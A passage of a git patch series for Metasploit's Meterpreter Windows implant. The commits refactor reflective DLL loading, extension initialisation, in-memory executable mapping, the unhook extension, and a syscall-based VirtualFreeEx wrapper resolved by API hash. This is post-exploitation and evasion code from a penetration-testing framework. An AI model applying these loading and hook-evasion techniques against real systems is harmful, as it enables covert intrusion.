dwSessionId; - ULARGE_INTEGER liAppCompatFlags; - ULARGE_INTEGER liAppCompatFlagsUser; - LPVOID lppShimData; - LPVOID lpAppCompatInfo; - UNICODE_STR usCSDVersion; - LPVOID lpActivationContextData; - LPVOID lpProcessAssemblyStorageMap; - LPVOID lpSystemDefaultActivationContextData; - LPVOID lpSystemAssemblyStorageMap; - DWORD dwMinimumStackCommit; -} _PEB, * _PPEB; - #ifdef STDAPI_NAMESPACE_AUDIO #include "audio/audio.h" #endif @@ -160,10 +42,10 @@ typedef struct __PEB // 65 elements, 0x210 bytes #include "railgun/railgun.h" // PKS, win32 specific at the moment. #endif -//#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" -//#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +#include "../../../ReflectiveDLLInjection/inject/src/GetProcAddressR.h" +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" // declared in ReflectiveLoader.c and set by DllMain also in ReflectiveLoader.c -//HINSTANCE hAppInstance; +extern HINSTANCE hAppInstance; #define strcasecmp _stricmp diff --git a/c/meterpreter/source/extensions/stdapi/server/stdapi.c b/c/meterpreter/source/extensions/stdapi/server/stdapi.c index c895e5d7b..d6c3b8914 100755 --- a/c/meterpreter/source/extensions/stdapi/server/stdapi.c +++ b/c/meterpreter/source/extensions/stdapi/server/stdapi.c @@ -7,10 +7,9 @@ // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; -//#define RDIDLL_NOEXPORT -//#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" // NOTE: _CRT_SECURE_NO_WARNINGS has been added to Configuration->C/C++->Preprocessor->Preprocessor @@ -186,10 +185,9 @@ Command customCommands[] = * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote *remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api); met_api->command.register_all( customCommands ); @@ -204,7 +202,6 @@ DWORD InitServerExtension(MetApi* api, Remote *remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote *remote) { met_api->command.deregister_all( customCommands ); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c index 280eb6e24..c7e1d0916 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/image.c @@ -298,7 +298,7 @@ DWORD request_sys_process_image_get_images(Remote *remote, Packet *packet) break; } - base = htonq((QWORD)modules[index]); + base = htonl((DWORD)modules[index]); tlvs[0].header.length = sizeof(HMODULE); tlvs[0].header.type = TLV_TYPE_IMAGE_BASE; diff --git a/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c b/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c index 9c55821ab..afacaa820 100644 --- a/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c +++ b/c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c @@ -94,12 +94,12 @@ BOOL MapNewExecutableRegionInProcess( DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage; if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE) { - NtHeader64 = (PIMAGE_NT_HEADERS64)((PBYTE)NewExecutableRawImage + DosHeader->e_lfanew); + NtHeader64 = (PIMAGE_NT_HEADERS64)((DWORD)NewExecutableRawImage + DosHeader->e_lfanew); if (NtHeader64->Signature == IMAGE_NT_SIGNATURE) { RtlZeroMemory(&BasicInformation, sizeof(PROCESS_INFORMATION)); ThreadContext = (PCONTEXT)VirtualAlloc(NULL, sizeof(ThreadContext) + 4, MEM_COMMIT, PAGE_READWRITE); - ThreadContext = (PCONTEXT)Align((DWORD_PTR)ThreadContext, 4); + ThreadContext = (PCONTEXT)Align((DWORD)ThreadContext, 4); ThreadContext->ContextFlags = CONTEXT_FULL; if (GetThreadContext(TargetThreadHandle, ThreadContext)) //used to be LPCONTEXT(ThreadContext) { diff --git a/c/meterpreter/source/extensions/stdapi/server/ui/ui.c b/c/meterpreter/source/extensions/stdapi/server/ui/ui.c index 1f7acf95a..0abba2a16 100644 --- a/c/meterpreter/source/extensions/stdapi/server/ui/ui.c +++ b/c/meterpreter/source/extensions/stdapi/server/ui/ui.c @@ -1,5 +1,4 @@ #include "precomp.h" -#include "common_metapi.h" HMODULE hookLibrary = NULL; diff --git a/c/meterpreter/source/extensions/unhook/apisetmap.h b/c/meterpreter/source/extensions/unhook/apisetmap.h index d998ec464..1da06c14d 100644 --- a/c/meterpreter/source/extensions/unhook/apisetmap.h +++ b/c/meterpreter/source/extensions/unhook/apisetmap.h @@ -35,7 +35,7 @@ #define WIN32_LEAN_AND_MEAN #include -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" _PPEB GetProcessEnvironmentBlock(); diff --git a/c/meterpreter/source/extensions/unhook/refresh.c b/c/meterpreter/source/extensions/unhook/refresh.c index da6ec5442..0bbed788d 100644 --- a/c/meterpreter/source/extensions/unhook/refresh.c +++ b/c/meterpreter/source/extensions/unhook/refresh.c @@ -1,7 +1,7 @@ #include "refresh.h" #include "apisetmap.h" #include "../../common/common.h" -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.h" void RefreshPE() { diff --git a/c/meterpreter/source/extensions/unhook/unhook.c b/c/meterpreter/source/extensions/unhook/unhook.c index 1c0e712eb..381dba3f1 100644 --- a/c/meterpreter/source/extensions/unhook/unhook.c +++ b/c/meterpreter/source/extensions/unhook/unhook.c @@ -5,15 +5,14 @@ #include "common.h" #include "common_metapi.h" -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "unhook.h" #include "refresh.h" // Required so that use of the API works. MetApi* met_api = NULL; -HINSTANCE hAppInstance = NULL; DWORD unhook_pe(Remote* remote, Packet* packet) { @@ -39,13 +38,11 @@ Command customCommands[] = * @brief Initialize the server extension. * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. - * @param hinst Pointer to the HINSTANCE. * @return Indication of success or failure. */ -DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) +DWORD InitServerExtension(MetApi* api, Remote* remote) { met_api = api; - hAppInstance = hinst; SET_LOGGING_CONTEXT(api) met_api->command.register_all(customCommands); @@ -61,7 +58,6 @@ DWORD InitServerExtension(MetApi* api, Remote* remote, HINSTANCE hinst) DWORD DeinitServerExtension(Remote* remote) { met_api->command.deregister_all(customCommands); - hAppInstance = NULL; return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp index 440e85392..e85e7bb37 100644 --- a/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp +++ b/c/meterpreter/source/extensions/winpmem/winpmem_meterpreter.cpp @@ -6,8 +6,8 @@ extern "C" { #include "common.h" #include "common_metapi.h" -//#define RDIDLL_NOEXPORT -//#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" +#define RDIDLL_NOEXPORT +#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #ifndef min #define min(x,y) ((x)<(y)?(x):(y)) From 023b1115c54bf2230128f45e141803e0f8416b41 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Wed, 8 Apr 2026 14:04:12 +0200 Subject: [PATCH 10/23] Restore reflective loader to extensions --- c/meterpreter/source/common/common_metapi.h | 2 +- c/meterpreter/source/def/extension.def | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/common/common_metapi.h b/c/meterpreter/source/common/common_metapi.h index effb6126c..844e23407 100644 --- a/c/meterpreter/source/common/common_metapi.h +++ b/c/meterpreter/source/common/common_metapi.h @@ -188,5 +188,5 @@ typedef struct _MetApi } MetApi; extern MetApi* met_api; -extern HINSTANCE hAppInstance; + #endif \ No newline at end of file diff --git a/c/meterpreter/source/def/extension.def b/c/meterpreter/source/def/extension.def index 4a7af08be..523aa425c 100644 --- a/c/meterpreter/source/def/extension.def +++ b/c/meterpreter/source/def/extension.def @@ -1,5 +1,6 @@ NAME extension.dll EXPORTS + ReflectiveLoader @1 NONAME PRIVATE InitServerExtension @2 NONAME PRIVATE DeinitServerExtension @3 NONAME PRIVATE StagelessInit @4 NONAME PRIVATE From dc5ec2b7bc7eef2d6d05300adb01e8218f335cea Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Wed, 8 Apr 2026 14:05:26 +0200 Subject: [PATCH 11/23] Removes function definition --- c/meterpreter/source/common/common_winapi.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h index 5718a4e57..b51c1be34 100644 --- a/c/meterpreter/source/common/common_winapi.h +++ b/c/meterpreter/source/common/common_winapi.h @@ -50,7 +50,6 @@ typedef struct _WinApiNtdll { NTSTATUS (*ZwFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); NTSTATUS (*NtQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); NTSTATUS (*NtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId); - NTSTATUS (*RtlGetVersion)(PRTL_OSVERSIONINFOEXW os); } WinApiNtdll; // kernel32.dll @@ -186,4 +185,4 @@ typedef struct _WinApi { WinApiWinHttp winhttp; } WinApi; -#endif \ No newline at end of file +#endif From f037526d2a8efcab50b81cd35b5119fb8cd2a54a Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Wed, 8 Apr 2026 14:06:19 +0200 Subject: [PATCH 12/23] Restore common_winapi.h --- c/meterpreter/source/common/common_winapi.h | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h index b51c1be34..5718a4e57 100644 --- a/c/meterpreter/source/common/common_winapi.h +++ b/c/meterpreter/source/common/common_winapi.h @@ -50,6 +50,7 @@ typedef struct _WinApiNtdll { NTSTATUS (*ZwFreeVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, PSIZE_T RegionSize, ULONG FreeType); NTSTATUS (*NtQueueApcThread)(HANDLE ThreadHandle, PVOID ApcRoutine, PVOID ApcContext, PVOID Argument1, PVOID Argument2); NTSTATUS (*NtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, OBJECT_ATTRIBUTES* ObjectAttributes, CLIENT_ID* ClientId); + NTSTATUS (*RtlGetVersion)(PRTL_OSVERSIONINFOEXW os); } WinApiNtdll; // kernel32.dll @@ -185,4 +186,4 @@ typedef struct _WinApi { WinApiWinHttp winhttp; } WinApi; -#endif +#endif \ No newline at end of file From a5e911eff4cc5dc8b1d178309fa6578a278db393 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 13 Apr 2026 12:21:05 +0200 Subject: [PATCH 13/23] Fixes the arguments in metsrv.h --- c/meterpreter/source/metsrv/metsrv.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/c/meterpreter/source/metsrv/metsrv.h b/c/meterpreter/source/metsrv/metsrv.h index d8edfbb0d..383b51793 100644 --- a/c/meterpreter/source/metsrv/metsrv.h +++ b/c/meterpreter/source/metsrv/metsrv.h @@ -56,7 +56,7 @@ BOOL is_null_guid(BYTE guid[sizeof(GUID)]); VOID rand_xor_key(BYTE buffer[4]); DWORD server_setup(MetsrvConfig* config); -typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote, HMODULE hInstance); +typedef DWORD (*PSRVINIT)(MetApi* api, Remote *remote); typedef DWORD (*PSRVDEINIT)(Remote *remote); typedef VOID (*PCMDADDED)(UINT command_id); typedef DWORD (*PSTAGELESSINIT)(UINT extensionId, LPBYTE data, DWORD dataSize); From c429618811ed0e30b523a2d5ace8844072e93390 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 16 Apr 2026 11:16:52 -0400 Subject: [PATCH 14/23] fix: update LoadReflectively function to improve error handling --- .../source/metsrv/extension_loader.c | 161 +++++++++--------- 1 file changed, 81 insertions(+), 80 deletions(-) diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c index 434898b7e..455dcf446 100755 --- a/c/meterpreter/source/metsrv/extension_loader.c +++ b/c/meterpreter/source/metsrv/extension_loader.c @@ -179,104 +179,105 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { PBYTE pBaseAddress = (PBYTE)lpBuffer; PBYTE pDLLBaseAddress = NULL; PIMAGE_SECTION_HEADER pSectionHeader = NULL; + DWORD dwResult = ERROR_SUCCESS; *phModule = NULL; - - PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); - - if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) - { - dprintf("[LOADREFLECTIVELY] DOS signature not valid\n"); - return FALSE; - } - - PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress); + do { + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); + + if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] DOS signature not valid\n", ERROR_INVALID_DATA); + } - if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) - { - dprintf("[LOADREFLECTIVELY] NT signature not valid\n"); - return FALSE; - } - dprintf("[LOADREFLECTIVELY] PE headers are valid\n"); - - dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n"); - pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress); - if (pDLLBaseAddress == NULL) - { - dprintf("[LOADREFLECTIVELY] VirtualAlloc failed\n"); - met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); - return FALSE; - } - - dprintf("[LOADREFLECTIVELY] Allocation successful, got %p\n", pDLLBaseAddress); + if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] NT signature not valid\n", ERROR_INVALID_DATA); + } + dprintf("[LOADREFLECTIVELY] PE headers are valid\n"); + + dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n"); + pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); - pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + if (pDLLBaseAddress == NULL) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] VirtualAlloc failed\n", ERROR_OUTOFMEMORY); + } + + dprintf("[LOADREFLECTIVELY] Allocation successful, got %p\n", pDLLBaseAddress); - DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; - PBYTE pSourceBase = pBaseAddress; - PBYTE pDestinationBase = pDLLBaseAddress; + pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); - dprintf("[LOADREFLECTIVELY] Copying headers\n"); - - while (dwSizeOfHeaders--) - *pDestinationBase++ = *pSourceBase++; + DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; + PBYTE pSourceBase = pBaseAddress; + PBYTE pDestinationBase = pDLLBaseAddress; - dprintf("[LOADREFLECTIVELY] Copying PE sections\n"); - - // 1. Copy the PE headers to the new location - for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) - { - - PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress; - PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData; - DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData; - dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders); + dprintf("[LOADREFLECTIVELY] Copying headers\n"); + while (dwSizeOfHeaders--) *pDestinationBase++ = *pSourceBase++; - } - // 2. Get all necessary sections - PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + dprintf("[LOADREFLECTIVELY] Copying PE sections\n"); + + // 1. Copy the PE sections to the new location + for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + + PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress; + PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData; + DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData; + dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders); + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + } + + // 2. Get all necessary sections + PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - // 3. Fix relocations - dprintf("[LOADREFLECTIVELY] Fixing relocations\n"); - if(!FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) - { - dprintf("[LOADREFLECTIVELY] Failed to fix relocations\n"); - met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); - return FALSE; - } + // 3. Fix relocations + dprintf("[LOADREFLECTIVELY] Fixing relocations\n"); + if(pRelocationTableDirectory->Size > 0 && !FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix relocations\n", ERROR_INVALID_DATA); + } - // 4. Fix the IAT - dprintf("[LOADREFLECTIVELY] Fixing IAT\n"); - if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) - { - dprintf("[LOADREFLECTIVELY] Failed to fix IAT\n"); - met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); - return FALSE; - } + // 4. Fix the IAT + dprintf("[LOADREFLECTIVELY] Fixing IAT\n"); + if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix IAT\n", ERROR_INVALID_DATA); + } - // 5. Set the correct permissions for the sections - dprintf("[LOADREFLECTIVELY] Fixing permissions\n"); - if(!FixPermissions(pNtHeaders, pDLLBaseAddress)) - { - dprintf("[LOADREFLECTIVELY] Failed to fix permissions\n"); - return FALSE; - } + // 5. Set the correct permissions for the sections + dprintf("[LOADREFLECTIVELY] Fixing permissions\n"); + if(!FixPermissions(pNtHeaders, pDLLBaseAddress)) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] Failed to fix permissions\n", ERROR_INVALID_DATA); + } + + // 6. Call the entry point + + dprintf("[LOADREFLECTIVELY] Calling entry point\n"); + DLLMAIN dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); - // 6. Call the entry point + if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE) + { + BREAK_WITH_ERROR("[LOADREFLECTIVELY] DllMain returned FALSE\n", ERROR_INVALID_DATA); + } - dprintf("[LOADREFLECTIVELY] Calling entry point\n"); - DLLMAIN dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + *phModule = (HMODULE)pDLLBaseAddress; + }while(FALSE); - if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE) + if(dwResult != ERROR_SUCCESS) { - dprintf("[LOADREFLECTIVELY] DllMain returned FALSE\n"); + if(pDLLBaseAddress != NULL) + { + met_api->win_api.kernel32.VirtualFree(pDLLBaseAddress, 0, MEM_RELEASE); + } + dprintf("[LOADREFLECTIVELY] Failed to load library reflectively with error code %d\n", dwResult); return FALSE; } - - *phModule = (HMODULE)pDLLBaseAddress; - return TRUE; } \ No newline at end of file From a0c32afd8583e92c8dae2997fa5783e1ee564f49 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Thu, 16 Apr 2026 11:24:32 -0400 Subject: [PATCH 15/23] refactor: comment out LoadLibraryR inclusion and adjust extension initialization --- c/meterpreter/source/metsrv/metsrv.c | 2 +- c/meterpreter/source/metsrv/remote_dispatch.c | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index 93773e661..897ae5688 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -12,7 +12,7 @@ #define RDIDLL_NOEXPORT #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c" -#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" +// #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" DWORD Init(MetsrvConfig* metConfig) { diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index a5f49d5ca..626af8c61 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -229,7 +229,6 @@ DWORD stagelessinit_extension(UINT extensionId, LPBYTE data, DWORD dataSize) } - /* * @brief Load an extension from the given library handle. * @param hLibrary handle to the library to load/init. @@ -276,7 +275,7 @@ DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* remot pExtension->end = pFirstCommand; // dwResult can be a mixture of different error types, e.g. HRESULT, win32 error - dwResult = pExtension->init(met_api, remote, pExtension->library); + dwResult = pExtension->init(met_api, remote); pExtension->start = extensionCommands; if (dwResult == ERROR_SUCCESS) From 01b124dfb893e9be3e0da020ee646b2fb6fba7c1 Mon Sep 17 00:00:00 2001 From: dledda-r7 Date: Wed, 22 Apr 2026 09:03:07 -0400 Subject: [PATCH 16/23] feat: add VirtualFreeEx function to winapi --- c/meterpreter/source/common/common_winapi.h | 1 + c/meterpreter/source/metsrv/metapi.c | 1 + c/meterpreter/source/metsrv/winapi.c | 17 +++++++++++++++++ c/meterpreter/source/metsrv/winapi.h | 1 + 4 files changed, 20 insertions(+) diff --git a/c/meterpreter/source/common/common_winapi.h b/c/meterpreter/source/common/common_winapi.h index 5718a4e57..d769e9964 100644 --- a/c/meterpreter/source/common/common_winapi.h +++ b/c/meterpreter/source/common/common_winapi.h @@ -65,6 +65,7 @@ typedef struct _WinApiKernel32 { SIZE_T (*VirtualQuery)(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); SIZE_T (*VirtualQueryEx)(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); BOOL (*VirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); + BOOL (*VirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); HANDLE (*CreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL (*CloseHandle)(HANDLE hObject); BOOL (*DuplicateHandle)(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c index 936be249d..d5cd69220 100644 --- a/c/meterpreter/source/metsrv/metapi.c +++ b/c/meterpreter/source/metsrv/metapi.c @@ -176,6 +176,7 @@ MetApi api_instance = { winapi_kernel32_VirtualQuery, winapi_kernel32_VirtualQueryEx, winapi_kernel32_VirtualFree, + winapi_kernel32_VirtualFreeEx, winapi_kernel32_CreateRemoteThread, winapi_kernel32_CloseHandle, winapi_kernel32_DuplicateHandle, diff --git a/c/meterpreter/source/metsrv/winapi.c b/c/meterpreter/source/metsrv/winapi.c index 01829ec2d..208233c35 100644 --- a/c/meterpreter/source/metsrv/winapi.c +++ b/c/meterpreter/source/metsrv/winapi.c @@ -53,6 +53,7 @@ enum HashedFunctions { H_VirtualQuery = 0xA3C8C8AA, H_VirtualQueryEx = 0xF45A2B20, H_VirtualFree = 0x30633AC, + H_VirtualFreeEx = 0xC3B4EB78, H_CreateRemoteThread = 0x72BD9CDD, H_CloseHandle = 0xFFD97FB, H_DuplicateHandle = 0xBD566724, @@ -575,6 +576,22 @@ BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeTy return FALSE; } +BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) { + if (hasDirectSyscallSupport()) { + SIZE_T dwDataSize = dwSize; + NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(hProcess, &lpAddress, &dwDataSize, dwFreeType); + dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Syscall ZwFreeVirtualMemory returned: %d", dwStatus); + return dwStatus == STATUS_SUCCESS; + } else { + BOOL (WINAPI *pVirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) = GetFunctionH(KERNEL32_DLL, H_VirtualFreeEx); + dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Calling VirtualFreeEx @ %p", pVirtualFreeEx); + if (pVirtualFreeEx) { + return pVirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType); + } + } + return FALSE; +} + HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { HANDLE (WINAPI *pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) = GetFunctionH(KERNEL32_DLL, H_CreateRemoteThread); if (pCreateRemoteThread) { diff --git a/c/meterpreter/source/metsrv/winapi.h b/c/meterpreter/source/metsrv/winapi.h index 9ce57685d..bba1c7a53 100644 --- a/c/meterpreter/source/metsrv/winapi.h +++ b/c/meterpreter/source/metsrv/winapi.h @@ -59,6 +59,7 @@ BOOL winapi_kernel32_VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T SIZE_T winapi_kernel32_VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); SIZE_T winapi_kernel32_VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL winapi_kernel32_CloseHandle(HANDLE hObject); BOOL winapi_kernel32_DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); From 